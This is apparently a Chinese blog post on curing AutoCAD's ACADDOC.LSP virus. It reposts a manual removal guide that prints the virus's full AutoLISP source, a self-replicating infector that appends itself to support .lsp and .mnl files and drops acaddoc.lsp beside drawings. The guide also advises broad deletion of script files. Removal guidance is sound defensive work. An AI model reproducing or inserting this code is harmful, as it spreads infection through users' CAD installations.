autocad輸入的列表有缺陷解決方法

我的電腦上裝有Autocad2006,每次啓動和打開文件時都有提示:

輸入的列表有缺陷

 

還有一個症狀是有些命令不能執行,比如三維陣列(3Darray命令或菜單修改->三維操作->三維陣列)。提示:輸入的列表有缺陷

 

這個問題我忍受和困擾了很久。今天終於在網上找到了解決方法。

 

出現此問題的原因是Autocad中了病毒,使用360可以查出病毒,但清除病毒會刪除.lsp等文件,導致有些命令不能執行。既能殺掉病毒,也使得病毒破壞的命令恢復正常纔是根本的解決方案。

 

原文如下:

=======

 

CAD程序非常易中ACADDOC.LSP病毒,該病毒易傳播感染,且一般的殺毒軟件都不能對此查殺,就連市面上專門的CAD殺毒軟件都對此望塵莫及。對於此現象,本人向大家介紹一種手動殺毒方法,這種方法追本溯源,治標治本,即是將病毒文件的源程序刪除即可。此方法雖然操作上有些麻煩,但是卻是最切實有效的方法,本人經試驗過多次,均將問題解決,且不用重新安裝CAD。

以下是相關操作步驟:

1、若發現文件夾中多出ACADDOC.LSP文件即說明你的CAD中毒了。

2、關閉CAD程序。

3、全盤搜索 *.fas *.lsp *.mnl *.arx文件,除了CAD安裝目錄以外的該類文件均全部刪除。

4、檢查CAD安裝目錄文件的修改時間,把ACADDOC.LSP病毒感染
X:/Program Files/AutoCAD20**/Support文件夾下的

3d.lsp;
3darray.lsp;
acad2010.lsp;
acad2010doc.lsp;
acadinfo.lsp;
ai_utils.lsp;
attredef.lsp;
edge.lsp;
mvsetup.lsp;
sample-profile-util.lsp

文件以及

C:/Documents and Settings/用戶名/Application Data/Autodesk/AutoCAD 20**/R16.2/chs/Support下的

*.MNL文件

中的病毒代碼刪除。(用記事本打開)

5、把CAD安裝目錄中的所有*.fas *.lsp *.mnl *.arx文件改爲只讀屬性。

說明: 要刪除的病毒代碼在文件的尾部,具體如下:

(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil) (setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1) );progn );if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1) );progn );
if );while
(close wjm1)
(close wjm) );progn );
if );defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "//support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "//acaddoc.lsp")) (setq mnln 0)
(while (< mnln mnlnum) (
setq mnlfilename (strcat acadmnlpath "//" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln)) );while
(setq lspn 0)
(while (< lspn lspnum) (
setq lspfilename (strcat support "//" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while );progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "//" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "//" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1)) )
;while
(setq lspn1 0) (while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "//" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while (setq lspn 0) (while (< lspn lspnum)
(setq lspfilename (strcat support "//" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "//" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "//" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
(load "acadapq")
(princ)

後面可能還會有一些病毒程序代碼,但大同小異,大部分以(setq flagxt)開頭。 該方法絕對不會對CAD的功能使用造成影響,請大家放心使用。

===================

 

照此方法操作,再啓動Autocad和打開文件時沒有“輸入的列表有缺陷”的提示了,啓動速度快了,並且3DArray命令可以使用了。

非常感謝該文的作者。

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章